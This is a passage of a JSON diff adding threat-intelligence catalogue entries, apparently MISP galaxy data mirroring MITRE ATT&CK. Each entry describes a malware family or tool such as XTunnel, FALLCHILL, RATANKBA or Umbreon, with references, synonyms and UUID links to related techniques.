Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)", + "meta": { + "external_id": "S0171", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0171", + "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", + "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + ], + "synonyms": [ + "Felismus" + ] + }, + "related": [ + { + "dest-uuid": "07a41ea7-17b2-4852-bfd7-54211c477dc0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "value": "Felismus - S0171" + }, + { + "description": "[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)", + "meta": { + "external_id": "S0117", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0117", + "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + ], + "synonyms": [ + "XTunnel", + "X-Tunnel", + "XAPS" + ] + }, + "related": [ + { + "dest-uuid": "6d180bd7-3c77-4faf-b98b-dc2ab5f49101", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "53089817-6d65-4802-a7d2-5ccc3d919b74", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "value": "XTunnel - S0117" + }, + { + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)", + "meta": { + "external_id": "S0181", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0181", + "https://www.us-cert.gov/ncas/alerts/TA17-318A" + ], + "synonyms": [ + "FALLCHILL" + ] + }, + "related": [ + { + "dest-uuid": "e0bea149-2def-484f-b658-f782a4f94815", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "bbfd4fb4-3e5a-43bf-b4bb-eaf5ef4fb25f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0a52e73b-d7e9-45ae-9bda-46568f753931", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e", + "value": "FALLCHILL - S0181" + }, + { + "description": "[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)", + "meta": { + "external_id": "S0118", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0118", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + ], + "synonyms": [ + "Nidiran", + "Backdoor.Nidiran" + ] + }, + "related": [ + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "value": "Nidiran - S0118" + }, + { + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [ScarCruft](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0212", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0212", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "CORALDECK" + ] + }, + "related": [ + { + "dest-uuid": "becf81e5-f989-4093-a67d-d55a0483885f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "value": "CORALDECK - S0212" + }, + { + "description": "A Linux rootkit that provides backdoor access and hides from defenders.", + "meta": { + "external_id": "S0221", + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0221", + "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + ], + "synonyms": [ + "Umbreon" + ] + }, + "related": [ + { + "dest-uuid": "2a18f5dd-40fc-444b-a7c6-85f94b3eee13", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "637000f7-4363-44e0-b795-9cfb7a3dc460", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3d8e547d-9456-4f32-a895-dc86134e282f", + "value": "Umbreon - S0221" + }, + { + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [ScarCruft](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0213", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0213", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "DOGCALL" + ] + }, + "related": [ + { + "dest-uuid": "a5e851b4-e046-43b6-bc6e-c6c008e3c5aa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0852567d-7958-4f4b-8947-4f840ec8d57d", + "value": "DOGCALL - S0213" + }, + { + "description": "[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)", + "meta": { + "external_id": "S0321", + "refs": [ + "https://attack.mitre.org/software/S0321", + "http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/" + ], + "synonyms": [ + "HummingWhale" + ] + }, + "related": [ + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6447e3a1-ef4d-44b1-99d5-6b1c4888674f", + "value": "HummingWhale - S0321" + }, + { + "description": "[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)", + "meta": { + "external_id": "S0312", + "refs": [ + "https://attack.mitre.org/software/S0312", + "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/" + ], + "synonyms": [ + "WireLurker" + ] + }, + "related": [ + { + "dest-uuid": "bc32df24-8e80-44bc-80b0-6a4d55661aa5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb", + "value": "WireLurker - S0312" + }, + { + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)", + "meta": { + "external_id": "S0241", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0241", + "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + ], + "synonyms": [ + "RATANKBA" + ] + }, + "related": [ + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "value": "RATANKBA - S0241" + }, + { + "description": "[Happywork](https://attack.mitre.org/software/S0214) is a downloader used by [ScarCruft](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0214", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0214", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "HAPPYWORK" + ] + }, + "related": [ + { + "dest-uuid": "656cd201-d57a-4a2f-a201-531eb4922a72", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "value": "HAPPYWORK - S0214" + }, + { + "description": "[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)", + "meta": { + "external_id": "S0142", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0142", + "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + ], + "synonyms": [ + "StreamEx" + ] + }, + "related": [ + { + "dest-uuid": "9991ace8-1a62-498c-a9ef-19d474deb505", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86", + "value": "StreamEx - S0142" + }, + { + "description": "[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)", + "meta": { + "external_id": "S0124", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0124", + "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + ], + "synonyms": [ + "Pisloader" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236", + "value": "Pisloader - S0124" + }, + { + "description": "[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)", + "meta": { + "external_id": "S0215", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0215", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "KARAE" + ] + }, + "related": [ + { + "dest-uuid": "70ca8408-bc45-4d39-acd2-9190ba15ea97", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "value": "KARAE - S0215" + }, + { + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "meta": { + "external_id": "S0152", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0152", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + ], + "synonyms": [ + "EvilGrab" + ] + }, + "related": [ + { + "dest-uuid": "c9b4ec27-0a43-4671-a967-bcac5df0e056", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "c542f369-f06d-4168-8c84-fdf5fc7f2a8d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "438c6d0f-03f0-4b49-89d2-40bf5349c3fc", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "value": "EvilGrab - S0152" + }, + { + "description": "[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)", + "meta": { + "external_id": "S0125", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0125", + "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets", + "https://securelist.com/faq-the-projectsauron-apt/75533/" + ], + "synonyms": [ + "Remsec", + "Backdoor.Remsec", + "ProjectSauron" + ] + }, + "related": [ + { + "dest-uuid": "6a3c3fbc-97ec-4938-b64e-2679e4b73db9", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + 